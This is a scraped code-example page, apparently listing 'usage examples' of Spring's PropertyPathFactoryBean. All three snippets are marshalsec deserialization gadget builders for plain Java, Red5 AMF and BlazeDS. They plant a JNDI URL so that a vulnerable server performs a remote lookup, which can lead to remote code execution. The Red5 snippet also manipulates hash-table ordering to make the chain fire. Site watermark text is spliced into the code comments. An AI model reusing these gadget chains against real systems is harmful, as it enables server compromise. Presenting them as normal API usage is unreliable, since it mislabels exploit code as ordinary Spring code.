Example usage for org.springframework.beans.factory.config PropertyPathFactoryBean PropertyPathFactoryBean

List of usage examples for org.springframework.beans.factory.config PropertyPathFactoryBean PropertyPathFactoryBean

Introduction

In this page you can find the example usage for org.springframework.beans.factory.config PropertyPathFactoryBean PropertyPathFactoryBean.

Prototype

PropertyPathFactoryBean

Source Link

Usage

From source file:marshalsec.gadgets.SpringPropertyPathFactory.java

@Primary
@Args(minArgs = 1, args = { "jndiUrl" }, defaultArgs = { MarshallerBase.defaultJNDIUrl })
default Object makePropertyPathFactory(UtilFactory uf, String[] args) throws Exception {
    String jndiUrl = args[0];//from   ww  w. j a  v a2  s.  c  o m
    BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl);

    PropertyPathFactoryBean ppf = new PropertyPathFactoryBean();
    ppf.setTargetBeanName(jndiUrl);
    ppf.setPropertyPath("foo");

    Reflections.setFieldValue(ppf, "beanFactory", bf);
    return ppf;
}

From source file:marshalsec.Red5AMFBase.java

@Override
@Args(minArgs = 1, args = { "jndiUrl" }, defaultArgs = { MarshallerBase.defaultJNDIUrl })
public Object makePropertyPathFactory(UtilFactory uf, String[] args) throws Exception {
    String jndiUrl = args[0];//from w w  w .  j  av a 2 s  .c o m
    PropertyInjectingProxy bfproxy = new PropertyInjectingProxy(new SimpleJndiBeanFactory(),
            Collections.singletonMap("shareableResources", new String[] { jndiUrl }));

    // RED5 uses a regular HashMap to temporarily store the property values
    //
    // To make sure the property setters are called in the right order we
    // have to make sure that they end up in bins matching that order
    Map<String, Object> values = new LinkedHashMap<>();
    int size = 16;
    for (; size < Short.MAX_VALUE; size = size << 1) {
        long p = mapHash("propertyPath".hashCode() & 0xFFFFFFFFL) % size;
        long t = mapHash("targetBeanName".hashCode() & 0xFFFFFFFFL) % size;
        long b = mapHash("beanFactory".hashCode() & 0xFFFFFFFFL) % size;
        if (p <= b && t <= b) {
            System.err.println(
                    String.format("propertyPath @ %d targetBeanName @ %d beanFactory @ %d with table size %d",
                            p, t, b, size));
            break;
        }
    }

    values.put("propertyPath", "a");
    values.put("targetBeanName", jndiUrl);
    values.put("beanFactory", bfproxy);

    // this blows up the table to the desired size
    // keys must be distributed more or less evenly or the hash table won't expand to the desired size
    for (int j = 0; j < size / 2; j++) {
        values.put("" + j, "");
    }

    return new PropertyInjectingProxy(new PropertyPathFactoryBean(), values);
}

From source file:marshalsec.BlazeDSBase.java

@Override
@Args(minArgs = 1, args = { "jndiUrl" }, defaultArgs = { MarshallerBase.defaultJNDIUrl })
public Object makePropertyPathFactory(UtilFactory uf, String[] args) throws Exception {
    String jndiUrl = args[0];//from  ww  w  .j a v  a 2  s . c  o m
    PropertyInjectingProxy bfproxy = new PropertyInjectingProxy(new SimpleJndiBeanFactory(),
            Collections.singletonMap("shareableResources", Arrays.asList(jndiUrl) // this would actually be an array,
                                                                                                                                                                           // but AMFX has some trouble with
                                                                                                                                                                           // non-readable array properties
            ));

    Map<String, Object> values = new LinkedHashMap<>();
    values.put("targetBeanName", jndiUrl);
    values.put("propertyPath", "foo");
    values.put("beanFactory", bfproxy);
    return new PropertyInjectingProxy(new PropertyPathFactoryBean(), values);
}